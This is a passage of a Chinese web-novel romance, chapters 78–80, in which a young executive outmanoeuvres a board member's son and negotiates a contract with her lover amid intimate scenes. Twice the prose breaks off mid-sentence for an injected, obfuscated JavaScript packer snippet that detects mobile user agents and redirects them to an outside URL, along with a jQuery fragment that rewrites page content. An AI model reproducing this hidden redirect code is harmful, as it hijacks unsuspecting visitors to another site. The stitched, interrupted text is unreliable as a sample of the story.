“哎,我发现这些心理有病的人,真是没办法猜透他们在想什么,明明自己不如人,还总是怨别人怨社会,稍微不顺了就开始使阴招甚至直接杀人,真是恶心死了!”顾清漪还在回想周警官复述的那些话。 如果不是傅珺瑶和沈述白想出主动失忆那招,如果不是傅珺瑶想到从楚茜身上切入,如果不是宋衿艺有路子,如果不是顾清漪的母亲在省厅,如果不是沈行之和傅淮湛帮忙,如果不是几位长辈还愿意相信他们。 傅珺瑶紧抿着唇,眉眼间还留着不悦。 一想到是这样的人害得她大伯没了命,又间接造成奶奶病逝、爷爷性格大变,甚至于导致恒璟和启行这么多年的错位发展,心底那股恨意便瞬间攀升。 凭什么,他这样的恶人能逍遥二十多年?! 哪怕现在能判他死刑她都觉得不够。 傅珺瑶忍不住咬紧了牙。 蓦然,掌心滑进抹熟悉的温热。 她倏然一抖。 转头时,对上沈述白的眸子。 他一句话没说,只朝她扬了扬唇,下巴轻晃。 冲上来的那股负面情绪又消了下去。 “如果我们真能猜透,那我们也离疯子不远了。逝去的人已经逝去,或许活着的人能为他们做的,就是解开真相,还他们一个清白,也为活着的人及时止损。”沈述白低沉的嗓音里掺杂着很轻的抹隐忍。 顾清漪赞同地点了点头。 傅珺瑶始终沉默,和那双褐眸短暂交汇之后,她偏颈,目光对准前方散开的云,金乌没了遮挡,大肆炫光,直抵她眸底。 掌心的温热还在,她扯了扯唇,无声笑笑。 “我们回去吧。” 回去,开始我们的、新的生活。 78. 23 苏津南的事一出,圈子里又掀起阵不小的风波。 谁能想到这么多年过去,一向以敌对据称的傅沈两家会迎来转折点。 更有消息传出,傅老爷子亲临沈宅做客,和沈董事长和安董交谈甚欢。 傅珺瑶坐在办公室里,手里抱着iPad,看着完全变向的新闻标题,下意识捏了捏口袋里放着的竹音哨。 至少,她当初没选错路,虽然中途情绪小冲动,但后来她仍然没选错路。 iPad刚关上,聂秘书端着杯温水进来。 “傅总,今天的安排很简单,上午是总会,下午只有沈总的预约。” 傅珺瑶了然点头,看了眼时间,往后边一靠,不紧不慢地抿水。 没一会,她想起什么,又问:“周董今天是不是带着他儿子过来了?” 闻言,聂秘书下巴往后缩了缩,双手捏紧,叠在腹前,没答话,头却跟小鸡啄米似的疯狂点动,仿佛完全不愿意多说一句周董儿子相关的话。 傅珺瑶不禁失笑,“你还真就那么嫌弃,没准人家以后还能在恒璟混个高管,这他要是上来,你这样嫌弃,人家可不得得着劲压迫你?” 可聂秘书却不如她所料,往前踏了两步,语气异常笃定。 “傅总,我绝对相信您,不会让这样的事发生!” 傅珺瑶稍稍意外,松开竹音哨,两手托着玻璃杯,盯着她看了两秒,平笑:“是吗?说的这样绝对,这万一哪天我还真坐不稳这个位置,你要怎么选?是离开恒璟,还是屈从呢?” 她的语气半真半假,甚至带着点玩笑的意味。 聂秘书却愣了愣。 不过几秒,她眼中的怔忪消散,重新换上她平日的分寸和浅笑,语气依然笃定:“傅总,我绝对相信您,所以也相信,不会有这个万一发生。” 傅珺瑶凝着玻璃杯上浅红色的印记,嘴唇对上,又抿了口水,慢慢把玻璃杯放回桌上。 对聂秘书扬出抹柔和的笑:“好好工作,我不给你画饼,答应过你的升职加薪都不会缺。” 聂秘书暗暗松了口气,甜笑道:“谢谢傅总。” 傅珺瑶轻嗯了声,声音慢慢沉下来,漆黑的眸中冷光凝集:“既然周董这么费心思的带着儿子来一趟,那咱们可得好好招待一番,嗯?” 目光对上来的那一刻,聂秘书瞬间会意。 她稍微垂首:“您放心,一切交给我。” - 傅珺瑶才开完会,人还没回办公室,就被周董拦在半路。 “珺瑶。”周董背手站在那里,一脸和气。 傅珺瑶脚步停下,面色不惊地看了眼周董,又瞥向跟在他身侧的男人。 嘴角牵动,她慢声道:“周董。” 眼神又转向周锦,语气松了松:“好久没见周少爷了,今天是过来体验体验生活?” 周锦一身简单的黑色西装,穿得倒也算人模人样。他两手漫不经心地插兜,左腿稍曲,重心靠在右腿,懒懒回应:“我也想见傅总,只不过傅总倒是难约,不我听说傅总又是跟刚回国的林总吃饭,又是跟启行的沈总在一起的,大忙人估计也顾不上我。” “住口!” 周锦话刚说话,傅珺瑶还没来得及应声,周董先冷声打断。 傅珺瑶轻瞥过周董,最后又回到周锦身上,唇角的弧度弯深:“周少爷对我的行踪倒是了解得很深嘛。” “珺瑶,你别介意,他嘴上就是没个把门的,我是想让他来跟你学习学习,他这么大人了,天天在家里无所事事,我也愁的慌啊。”周董语重心长,一双浸有厉色的眉毛下撇,完全一副慈祥的愁父模样。 说完,他又扒了扒周锦,悄然剜他一眼。 周锦明显不服气,不过到底架不住父亲,老老实实圆话:“傅总,你也知道,我一直都喜欢你,所以才会这样关注你,不过我也有自知之明,这次来就是想好好跟你学习的。” 话倒是说的没什么问题,不过他那不羁又放荡的语气到底没帮他完全藏底。 傅珺瑶笑着摇了摇头,仿佛完全没往心里去。 又继续道:“没关系,你今天不是主动过来了吗?我刚才也吩咐了聂秘书,说要好好招待你的。” 这话一出,周董的满面愁容瞬间消散,眸底闪过一丝惊讶。 傅珺瑶朝两人做出“请”的手势:“去我办公室吧?” 周董敛着唇,视线平扫过她,瞬时移开,唇角稍稍牵动,点了点下巴,对周锦使了个眼色。 再次回到办公室,傅珺瑶的小茶几上已经摆好了新鲜的水果和茶水。 “傅总,已经按照您的吩咐,这是刚刚送到的新鲜车厘子和褚橙。” 聂秘书站在傅珺瑶身侧,俨然一副汇报工作的模样,说完之后,只跟旁侧的两人简单打过招呼便出去了。 “傅总,你还记得我爱吃这些?多谢了啊!”周锦一个跨步直接坐到小沙发上,瞬间没了正形,朝傅珺瑶抬了抬手,自然而然拿起车厘子往嘴里送。 周董“啧”了声,厉色重新爬上眉梢,冷冷咳了咳。 周锦动作微顿,嘴唇瘪了瘪,不怎么服气,却也看在父亲的面子上起身。 傅珺瑶淡淡瞥过他,轻笑道:“不要紧,这些本来就是为了招待周少爷的,周董好歹也是咱们恒璟的大股东,为咱们恒璟可是做了不少贡献,说到底,周少爷如果不介意,这恒璟就是周少爷第二个家嘛。” 周董应和扯了扯唇。 周锦眉头轻挑,唇边漫出抹不屑的笑,又伸手捞了颗车厘子。 “周伯伯,”傅珺瑶挪回视线,重新面向周董,语气平淡又客气:“我明白您的意思,既然您都开口了,我肯定是没有异议的,咱们也都是为了恒璟未来的发展考虑。” “我其实也愁着呢,”她又压低声音,沉静的脸上挂出几分愁态:“这张董过两年退休,到时候差人都没办法补上,找外人又不太放心,我哥哥又是个懦弱担不起事的,也是我糊涂,没能想到周少爷,还是您有远见。” “这事您就放心吧,只要周少爷肯好好干,我是非常愿意留下他的。”傅珺瑶挺直身子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348155|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收敛面色,语气沉稳,听不出喜怒,好似只当一件普通的公事,该怎么办,就怎么办。 周董背着手,稍稍默然,又很快颔首,回头睨了周锦一眼:“还不快过来?” 周锦有些不耐烦地上前,停在周董身侧。 “珺瑶,反正你也别对他客气,最好对他要求严格一些!”周董又稍稍弓身,靠近她道:“我也非常看好你的实力,你愿意帮我这个忙,等到时候张董退休,竞选投票,我绝对会记着你的。” 傅珺瑶眸光轻动,没有接话,红唇稍弯,一双黑眸沉寂又平和,隐隐带着她平日里的强势。 “您这是哪儿的话?您也是我的上司,董事长也一向奉行严格执行上司的指示和安排,所以这都是我应该做的。” 闻言,周董的右眉下意识挑了挑,旋即满意点头,话不点明,只尽在不言中。 “我让聂秘书给他安排一个同等助理的位置,先熟悉,等他熟悉够了,再给他升职,也免了外头人的闲话,不知道这个安排,您还满意吗?”傅珺瑶按了内线电话,让聂秘书进来。 “当然,当然满意。那就麻烦你了珺瑶。” 临走前,周董只肃声朝着儿子低吼一句:“给我好好做事,听到没有?” 周锦眉头一皱,嘴上还是乖乖答应:“我明白。” 周董离开后,傅珺瑶朝聂秘书使了个眼色,又对着周锦笑笑:“请吧周少爷,你放心,活不多,能很快就熟悉够。你有什么想吃的想喝的尽管说,我来给你安排好。” 周锦扬了扬下巴,双目轻佻地凝向傅珺瑶,往前走了两步,散漫地扫视着她。 “傅总,你说你要是答应跟我约会该多好?” 话音刚落,站在他身后的聂秘书没忍住翻了下白眼。 傅珺瑶面色不惊,轻笑一声:“周少爷流连情场那么久,肯定见过不少才华品相出众的美人,我怕是还入不了周少爷的眼。” 她的唇上勾,眸色却往下沉,语气更是带了几分沉肃。 周锦下意识抿了抿唇,转身,耸了耸肩道:“好了,我知道你跟沈述白在一起了,我也驾驭不了你,反正我爸让我来跟着你学习,我也就好好听他的话了。” 说完,他也一点不客气,拿着茶几上的水果和茶,跟着聂秘书出去了。 办公室的门关上,傅珺瑶的脸色彻底垮下来,扔下手里的文件,滑步坐到凳子上,换上拖鞋。 她靠在凳子上休息,拿出手机,没忍住嗤了声。 然后给置顶那人发去消息:【晚上去我家,我要吃百香果酸汤牛肉。】 那人过了会才回:【好是好,不过怎么感觉傅总不太开心?】 傅珺瑶:【被恶心了一把,能开心吗?】 不羁的S:【谁恶心你了?】 傅珺瑶:【一时半会说不完,当面再说,下午见,沈总。】 她又特地找了个表情包发过去。 之前她都不爱发表情包的,现在倒是觉得文字太干巴,配个表情包也生动一点。 那人回:【好。】 79. 24 下午,傅珺瑶重新拿出悦霁天地的项目文件,和苏氏的合同已经彻底作废,现在还是得和启行谈。 不过绕来绕去一大圈,也不算没有收获。 “傅总,沈总到了。”聂秘书进来提醒。 傅珺瑶点了点头,拿着东西准备去小会议室,临走前瞟了眼那间小办公室里的男人。 那人懒懒靠在办公椅上,手机在手里快被他摁出火星子,依稀能看到屏幕上花里胡哨的游戏特效。 桌上还摆着满满当当的水果。 傅珺瑶轻嗤了声,压低声音:“去帮咱们周少爷把门关严实,也不要让任何人打扰他,人家可是把这当家了,咱们可得让他好好放松才是。” 聂秘书很快点头应声:“您尽管放心。” 傅珺瑶动了动嗓,平缓嗯了声,“帮我送一杯温水一杯铁观音进来。” “是。” 傅珺瑶转身,再没看周锦一眼,踏着高跟鞋,稳步往会议室走。 电梯金属门合上,她下意识对着电梯里的镜子理了理头发。 她今天穿了套白色混纺面料的西装,腰间束了条金色腰带,长发简单缠在脑后,干净又犀利。 脸上简单拍了个气垫,选了她最舒适的浅红茶色口红。 她朝着镜中的自己笑了笑。 爷爷之前说的那套靠脸撑起来的气势分明是靠妆撑起来,可就算她不化眉、不修鼻梁和脸侧的阴影、不点高光、不贴假睫毛、不化眼线,不费尽心思去修饰那张脸,只稍微提气色,或者她如果早上想多睡会连气垫也懒得拍、口红也不想涂,她的气势也依然在。 可惜她之前,还是太服从于他们的规则里。 不过没关系,她会一步一步往上走,直到她能改写规则。 金属门缓慢打开,傅珺瑶目标明确,朝着小会议室走。 沈述白已经在里面等候。 傅珺瑶推门而入,最先闯进眼底的仍然是他的黑色耳钉。 不过这一颗,是她买的。 “沈总怎么不戴那颗彩虹黑曜石,那可是收藏级别的。”傅珺瑶一脸平淡,连语气都毫无波澜,只有眉尾轻轻挑了挑。 沈述白同样满脸正经,起身,缓慢走到她跟前,伸出右手,温和的嗓音里带了几分沉稳:“傅总都说了是收藏级别,沈某自然得只戴给收藏级别的人看。” 傅珺瑶目光定在那双褐眸上,眼睑几不可察地往上顶了顶,伸手回握。 掌心交叠的瞬间,她的食指弯起,指甲在他的指腹刮了一下,然后收回来。 又抬手,完全办公事的凌厉模样,语气微冷:“沈总请坐。” 两人刚坐下,聂秘书敲门进来,先把铁观音放在沈述白跟前,然后把温水递给傅珺瑶。 “傅总,外面都已经安排好,这里在您谈完事之前,绝不会有人打扰。” 傅珺瑶点了点下巴。 聂秘书无声退出去。 相对封闭的小会议室里,傅珺瑶把文件推上前,黑眸骤抬,直勾勾迎上他的视线,语气稍微收凛道:“之前你也了解过悦霁天地的项目了,这是我亲手负责的,销售面向的主要群体是CBD追求高品质生活的单身人群,所以安全系数必须得是最高。” 傅珺瑶尽量用最精简的话语说明恒璟的需求。 沈述白不紧不慢地看过文件,耳边不忘听着她的陈述。 文件里的所有条项都没什么大问题。 直至傅珺瑶的声音陡然停下。 沈述白跟着挪颈,双眼看过去。 傅珺瑶平直的嘴唇突然弯了弯,苹果肌上抬,在眼角挤出很浅的笑意。 沈述白跟着扯唇,合上文件,开门见山道:“傅总都邀请我过来了,我能开的价格自然会让傅总满意。” 说罢,他朝傅珺瑶比了个数字。 傅珺瑶瞟了眼,神色未变,没说话。 沈述白稍微怔愣。 “我要这个。” 傅珺瑶比了个比他小的数。 沈述白不慌不忙掠过她的手指,视线收回来,右手搭在左腕,把那块精致又没有一丝刮痕的手表扶正。 他默然两秒,陡然轻笑:“傅总胆子倒是很大,再怎么说,启行也是傅总当下唯一的选择,我这已经是给了傅总友情价了。” 他没有退让的意思。 傅珺瑶也不急,搬出她早已经提前预想过的台词:“正是因为启行是恒璟当下唯一的选择,同理,恒璟也是启行当下最大的合作方,这送到眼前的利益,我想沈总如此精明的人,不可能不知道怎么选。” 她短暂停顿,继续道:“况且恒璟再次选择启行,悦霁天地只是开始,启行的口碑虽然是淮北顶好的,可这么多年没跟恒璟接触,这一时半会或许能说服我一个人,但难以说服恒璟上上下下的人。” 沈述白静静听着。 又见她挺直肩脊,言辞犀利:“只要顺顺利利有了这一次合作,我想以后我们内部的人也会更信任启行,更会第一时间考虑启行。再者,悦霁天地的项目,也绝对是启行的一块活招牌。如此划算的买卖,沈总能在群英荟萃的启行站稳脚跟,应该比我更能想清楚这其中的利弊得失吧?” 沈述白垂眸看了眼面前的铁观音,清淡的茶香绕在鼻息间,他又转回视线,安分看着她。 他才发现,她谈事情的时候是这样的状态。 以前跟她接触的时候,她总是把他气得说不出话来。 他以为她是不屑说漂亮话的。 原来是那会的他还不够格让她说漂亮话。 她慢慢把话推到锋口,再顺势架高他,看似放低自己,实际让他只有唯一的选择,就是她给的选择。 沈述白慢慢眯起眼,喉结动了动,没忍住,挤出声轻笑。 傅珺瑶瞳眸轻缩,一时没懂他什么意思。 “笑什么?”她抿了抿唇,还是问出来。 沈述白不急于接话,端起身前的茶杯,抿了口热茶。 很香,不涩口。 “傅总就没想过,启行万一真能放弃和恒璟的合作呢?而且房地产现在已经不景气了,这看似划算的买卖,似乎没什么前景啊?” “嗒”的一声,茶杯又放了回去。 他眉眼中的浅笑仍在。 对于这个问题,傅珺瑶也丝毫不慌,声音中气十足:“房地产再不景气,买房的基本盘也还在,就目前来看,这仍然是块好饼。至于前景,沈总就更不用担心了,恒璟的发展理念其中一条就是与时俱进,我也绝对不会让恒璟成为瘦死的骆驼。” 说完,她再次将黑眸对准沈述白,弯唇一笑,声音瞬间柔和:“况且沈总不是说过信我,那既然如此,又何必再犹豫呢?” 沈述白心脏轻轻缩了缩,唇边的笑意更深。 “傅总话说到这个地步,我如果再不答应,恐怕不只是推翻恒璟和启行之间的信任,也是推翻自己的那些‘精明’了吧。” 傅珺瑶瞬时松懈下来,抄起面前的玻璃杯,喝了一大口水。 原本架起来的凌厉气势也完全消散,语气轻松许多:“行,速战速决,答应了就好。” 沈述白放下翘起的腿,往她的方向挪了挪,“我还没答应呢。” “没事,你下一步就要答应了,咱们直接省去这一步,合同我会让聂秘书尽快拟好,找时间来签个字盖个章就成。” 傅珺瑶又仰头,把剩下的水喝完。 沈述白的视线始终追随她,无声笑笑。 “你现在走吗?”傅珺瑶瞥了眼时间,整理了下西装扣子,自己有走的打算。 “急什么?”沈述白伸手,一把握紧她的手腕,顺势一带,把她从小沙发上拉起来,再稳稳坐到自己腿上。 傅珺瑶半推半就,在他腿上找了个最舒服的姿势坐稳,左手半环住他的脖颈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353737|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气稍微玩味:“沈总,这可是上班时间。” 男人深深不以为然:“我们定的谈工作的时间是两个小时,现在只过去四十分钟,还有整整八十分钟,可以用来做其他的事情。” 说起来,他们也才稍微闲下来。 忙完苏津南的事情之后,又忙着缓和几位长辈的关系,再是工作,就连她之前答应他的,让他去她那住,也被长久搁置。 两人闲时见面的时间不算多,甚至于耳钉都是傅珺瑶让人给他快递过去的,她都没时间拿了给他。 他的话慢慢飘进耳朵,不轻不重的嗓音悄然披上了层暧昧的外衣。 傅珺瑶呼吸瞬凝,耳颈热了热,神色稍稍不自然:“这里是会议室。” 沈述白直接环住她的腰,掌心贴在她的小腹,仰头,薄唇在她下巴上轻啄了下。 “可你选的没有人的楼层,还是没有监控、甚至也没有透明窗户的会议室。” 温柔的嗓音有些哑,两颗褐色的眼珠无辜地望着她,话语引诱的意味明显。 说完,他的手掌在她小腹上轻轻转圈磨动。 “……” 傅珺瑶胸腹轻轻抖了抖,微痒的温热穿透衣料,渗进皮肤,浅神经瞬间兴奋。 她伸手,抓稳他的胳膊,却没推开。 “沈总来这谈生意心思不是很纯啊?”傅珺瑶的视线本能从他的双眸下移,最后停在他的唇上。 “是不纯。”沈述白望着她,唇角轻掀。 隐隐有再次吻过来的趋势。 傅珺瑶咽了咽口水,等着他上前。 他的手却突然松开。 “……?” “毕竟有东西要送给傅总,半天没想好怎么开口。” 话音落下时,他的掌心托着一对袖扣,送到她跟前。 很熟悉的样式,和他之前卖掉的那对很像,但又不完全一样。 她还没问,他主动解释:“和我之前那款袖扣同系列的,女款是18K白金镶钻的,喜欢吗?” 白金色的袖扣不是平面圆,正中稍微上凸,两侧稍稍下撇,BVLGARIBVLGARI的logo围在两侧边缘,正中镶嵌9颗小钻石。 “你买的情侣款?”他这话一问出口,傅珺瑶又瞥向他的腕口。 和他手上托着的是一模一样的袖扣,不过他的是玫瑰金色。 傅珺瑶“嘁”了下,眼皮垂下,掩住里头大半喜色,不过笑意仍然没藏住,从唇边泄出。 她伸手,打趣道:“沈少爷这就戴上了?万一我喜欢玫瑰金的呢?” 沈述白慢条斯理取下她内衫的袖扣,帮她戴上,温声解释:“你的西装风格更适合白金色,紫色、酒红色西装袖口如果露出来玫瑰金的袖扣,没那么好看。” 他顿了顿,又抬头,柔和的语气中带着几分笃定:“而且你不是说过我最懂你?” 白金色的袖扣卡好,傅珺瑶顺势两只手都攀上他的脖颈。 她没说话,下巴前倾,快速啄了他一口。 干燥的唇被印上她的口红色号,冷白的灯光一照,隐隐发亮。 傅珺瑶额头抵着他,鼻尖轻轻和他的鼻尖交触,若即若离。 “等过几天,我去找爷爷兑现那个赌之后,你要不要找时间,去见见我妈妈和爸爸?” 傅淮湛已经告诉她,跟家里人说了两人在洱南的事。李茗蕤也试探性提过,要请沈述白去家里坐坐。 说是这么说,傅珺瑶还能不知道自己母亲的心思? 她和傅臣北不过是想试探试探沈述白真正的为人罢了。 眼前的褐眸轻轻一闪。 沈述白脸上漾开压不住的笑意:“好啊,是我没考虑周到,是该去见见阿姨和伯伯。” 才说完,他没等傅珺瑶回应,话锋又突然一转:“说起来,我刚刚在停车场,不小心听到了周董在打电话。” 80. 25 傅珺瑶嘴角一僵。 沈述白继续说完:“说他让周锦跟着你,这两年想让周锦在恒璟尽快站稳脚跟。” 沈述白是因为傅珺瑶提前安排过,顺利把车开到了她停车那层。 他刚关了发动机,就看到玻璃门里急匆匆蹿出来一个中年男人,车窗留着条缝,他靠在车门边,把周董的话听了个全。 “所以你今天说的被恶心,就是被周锦给恶心到了?” 且不说周锦的工作能力,他‘丰富多彩’的私生活可谓是无人不知、无人不晓。 常年游走在夜场,吃喝**几乎全沾,身边的女伴换了一个又一个,手里的钱更是输了一次又一次。 可就算是这样,也依然不少人往上凑,都赶着巴结他。 没办法,谁让他有个‘好’老爸? 傅珺瑶撇了撇嘴,嗯哼了声:“去年周董就想让他进来了,我哥离开恒璟三年,我又出去留学了一年,职位空着,如果不是我及时回来,没准恒璟再过两年就不姓傅了。” “那你现在打算顺着他?傅总应该…要选也是选自家人吧?”沈述白问。 “顺着他来又怎样?人家可是把恒璟当家的人,周董都开口麻烦我了,我自然得听从上司的吩咐,让周少爷在这里完全体会到家的轻松和温暖。” 沈述白眯了眯眼,头仰起来,眼珠左右转动,鼻腔里漫出很轻的声哼笑。 傅珺瑶垂眸,直直迎上他的视线,左手托起他的下颌,拇指摁在他面中。 “至于我哥,他离家出走三年的事恒璟上上下下都知道,他都敢反抗爷爷,爷爷也不想让他再回来,我哪有那个能耐操控他?不过他如果不甘示弱,自己想回恒璟,那我也拦不住啊。” 傅珺瑶散漫地摇摇头,一副事不关己的姿态。 沈述白双眸眯得更弯,光线钻了两人之间的空隙,尽数照进他眸底。 他一手托着她的背脊,一手上抬,将她额前的碎发往耳后拨弄,“傅总到底还是跟我之前了解的差不多,是个——” 他的话音刻意延长:“不知道踩着多少人往上爬的女人。” 他的语气柔和得像那片熟悉的海浪,完全听不出贬义。 傅珺瑶完全捕捉到他眼底沁出的光点,双臂收紧,“我不往上爬,就要被别人踩,与其当别人的垫脚石,不如给自己搭垫脚石。” “万一周少爷浪子回头,背地里阴傅总一招,傅总就不怕打个措手不及?” 闻言,傅珺瑶像是听到什么笑话一般,嗤哂道:“浪子回头?打周围看看,哪个浪子是回了头的?工作能力不行不说,我都听说了几个按期去医院挂青霉素的,不就是沾了病么?我不可能让恒璟有这样的人存在。” 至少傅淮湛倒是干干净净,工作能力也算出众,除了怕爷爷,他也挑不出其他错来。 不过她明白沈述白的意思,又说:“你放心,他想阴我,等他先克服自己那股散漫劲吧。周董嘴上虽然说着要严格教育周锦,可实际不知道多惯着他这个老来得到的宝贝儿子。” 况且周董让她来安排周锦,那权力在她手上,自然是她说了算。能让他接触到什么东西,不能让他接触到什么东西,更是由她说了算。 沈述白不再多言。 “好了不要说他了,我听到风声,说启行的系统要全面升级,沈总要不要再考虑考虑跟恒璟合作其他项目?” 沈述白眸光闪了闪,有些惊讶:“傅总消息这么灵通?” 她笑笑,解释:“前不久加了你哥的微信,看到他转发的朋友圈了。” “你有什么想法?” 傅珺瑶明显也是有过准备:“现在房地产的市场压力越来越大,仅仅是开发的话,恒璟每年的利润就越来越不能看了,前几天京临那边开了会,我看了财经报,大概就是说从当前市场的存量下手。” “我想了想,咱们可以先低价收购那些已经废弃或者快要倒闭的写字楼啊什么的,重建楼盘的安防系统,重新改造空间利用率,充分利用恒璟和启行的名号、口碑,直接弄成那种绿色智慧甲级写字楼,拉高租金,修复那些旧不动产的价值。” “这就是落到我们手里的资产了,且先观察能改造成同类型的这些资产,事成之后,直接把这些资产打包发行成公募REITs上市,我们就能当运营方收管理费,这可是一笔高回报的买卖。” 说通俗点,就是恒璟出钱,启行出技术,用资本和科技盘活存量,拉高价值。 直接把不动产金融化。 沈述白点了点头,浅笑道:“这倒是个很好的思路,看来金融这方面,我还得跟傅总多学学?” “行啊,教你一次抵消五颗蜜饯。”傅珺瑶顺势道。 “那可不行,我直接给傅总交学费,蜜饯的交换条件是定死的,只能靠那两个条件抵消。” “……” “现在要来抵消一个吗?”男人牵动唇角。 傅珺瑶短暂迟疑。 不过她的迟疑,在他这里一向是应允。 他的吻很快顶上来。 唇舌交叠的那一刻,傅珺瑶收紧手臂,手掌贴紧他的耳颈,眼眸轻闭,几乎瞬间沉浸在他的气息里。 熟悉的感觉接踵而至。 她张嘴,主动探入他的领地,那里还残留着淡淡的茶香。 指腹挪到他的耳垂,捏紧那颗耳钉,重重使力往下按。 很快,耳边听到他喉间溢出的哼吟。 等他的声音消失,一阵不轻不重的水声灌入耳际,带着若有似无的吮吻声。 傅珺瑶耳根瞬间红透,终于忍不住,开始后退。 她刚退了一点,他便追上来,进得彻底。 后背被托着狠狠往前一顶,她的胸腹也完全紧贴着他。 “唔……” 她没忍住叫了声。 睁开眼,恰恰对上他有些模糊的双眸。 心脏像是被人捏了一下,脸颊跟着发烫。 右手下移。 隔着西装,覆盖在她熟悉的位置。 不知道是她的体温攀升过快,还是他的体温过高,傅珺瑶掌心已经濡出了一层汗。 她本能收聚掌腕,腰臀也跟着往他腿侧挪动。 眼前的人影猛地一晃。 她的眸子紧缩。 他忽然完全退出来。 唇舌分开。 只剩灼热的气息纠缠在一块,分不清彼此。 胸廓之间没有太宽的距离,争相起伏。 沈述白的一只手前伸,反手扣住她覆在他胸口的手,转折,五指嵌入她的指缝,牢牢握紧。 “你提的事先等我回去研究研究,确认可行的话,我会尽快给你答复。” 他的喘息还没停下来。 傅珺瑶没忍住笑了声。 她真的很想知道,他到底怎么能在这种时候一本正经地跟她谈正事的。 之前也是,总是突然来一下她完全预想不到的话。 “你倒是挺会一心二用的。”她调侃。 视线已经移到他的唇上。 那里落满了她的口红。 颜色很浅,但就是有一种感觉,此时此刻,他被钉上她的印记,是她的所属者。 男人扣紧她手的拇指轻轻磨了磨,“不管怎么用,也是用在你身上。” 傅珺瑶眼尾沁出的笑意更深。 “傅爷爷那边,你打算什么时候去?” 他突然问了这么一句。 傅珺瑶歪了歪下巴。 这句话听上去只是句随意的关切,不过傅珺瑶却触到其他意思。 她眯着眼,问:“沈总在计划什么?” 男人面不改色,又带动她的手上抬,在脸侧蹭了蹭:“没什么,就是想,你打了胜仗,我得给你安排个庆功宴,好改善改善傅总对我‘薄情寡义’的刻板印象啊。” “还没想好,打算过两天。”傅珺瑶听明白,他是想请她吃饭,思忖半刻,沉吟道:“正好周五,下班你过来接我。” 他答应得很快。 眸子停在她身上,看了很久。 “还有,沈总如果真要请我吃饭,得订个好吃点的餐厅啊,不然我可不买账的。”傅珺瑶又去捏他的耳垂。 他还是维持着原有的面色,温声点头:“好。” 不过刚应完,语调又往上扬了扬:“反正肯定比林逸深带你去的餐厅好吃。” “……” 傅珺瑶还没弯起来的笑凝在嘴角。 “哎——”熟悉的长叹再次从他嘴边漫出来。 心底的预感跟着攀升。 他又开始了。 “傅总也是大人物来的,这今天和谁吃饭,吃了多久,明天又被谁送回家,一路聊得多么多么开心,可都是传得沸沸扬扬。不过没准再过几天傅总就要去跟谁赏夜景、品帕图斯了。” “……” “你怎么还记着这事?”傅珺瑶自己都快忘了,“而且哪里传得沸沸扬扬了?我看是你自己去查的。” “更何况我跟他出去吃饭都是我们刚从洱南回来那一阵,我情绪都没调整好,我哥想让我忘了你,所以我才去的,就吃了几顿饭不是很正常?那林逸深作为一个还算绅士的男人,送我回家不是也再正常不过的事?” 傅珺瑶的手挪到他下巴上,狠狠捏了一下:“那赏夜景、喝帕图斯也是他说的,我什么时候答应了?” “那你想忘了我吗?如果不是后面清漪和远舟办婚礼,你打算忘了我吗?”他眉眼绽出的松慢往内收了收。 “……” 傅珺瑶感觉有时候都不太能跟上他的思维模式。 自己明明是在这费劲吧啦给他解释林逸深的事情,他的注意力却在另一个点上。 碰过哲学的人都这么抽象? 傅珺瑶默然两秒,陡然撞上他轻颤的瞳仁,打算出口的话又凝在喉管,重新组织过后,才回答他。 她收起语气里带有的调侃,多了几分认真:“一开始确实是想忘的,说实话,我当时得知你修好手机却瞒着我的时候,对你很失望,也很生气,不过更多的,是害怕。” 两人脸上残留的暧昧和笑意都渐渐消失在傅珺瑶的话语里。 傅珺瑶一瞬不瞬地盯着他,也没想过瞒着他什么。 比起藏着掖着,她觉得合格的恋人之间,最需要的是坦诚。 “当时可能更多的是一种本能的预感吧,觉得你瞒着我,可能我们俩之间的关系是我们完全没预料到的,更可能会推翻我们之间的一切,足以让我们闹得非常难看。” 事实证明,他们闹得确实很难看。 沈述白也一刻不移地回望着她,嘴唇抿了抿,呼吸渐慢。 会议室里的灯好似更亮,甚至多了几分冷肃,一旁茶几上的铁观音也凉了个透。 傅珺瑶继续:“加上我当时确实…确实回忆起了一点我爷爷带给我的压迫感,我哥又不停给我施压,我根本没机会想那么多,当时只想着,我们真的是仇人,我们也不像江晴和江醇那样感情很深,我必须跟你分开。” 男人的嘴唇动了动,不发一言。 “回来之后,我也确实没从和你在一起的状态里完全抽离,但当时我们之间是死局,所以我唯一的出路,或许就是忘掉你。我哥找来林逸深,我也就顺势见了。” 说到这里,傅珺瑶蓦然嗤笑了声,额头又重新抵住他。 “其实我一开始还觉得他和你挺像的,温温柔柔的,也很绅士吧,或许是我会喜欢的类型。不过接触几次之后,觉得他就是从小到大我身边再普通不过的男人,他们是有学识、有风度、能力不错、也有点内涵。可对我来说,只适合浅接触,我要的伴侣,不是他们那样的。” 两人近在咫尺的距离,她的眼神又聚焦在他唇上,深深吻了一下。 “而且我又见到你了,我以前没谈过恋爱,也不知道我喜欢一个人、爱一个人会是什么样子。直到我忍不住去关注你是不是安全回来的消息、想念你做的百香果酸汤牛肉和蜜饯、想听你弹的尤克里里、想抱着你睡觉、想和你谈谈心,也想再听听你那些总是出乎我意料的话,想和你接吻,甚至也会想…和你做//////爱。” “于是我就想,或许这就是我喜欢一个人的样子?也想…我可能一时半会都没办法忘掉你了。至少在我身边,暂时没有人能替代你。” 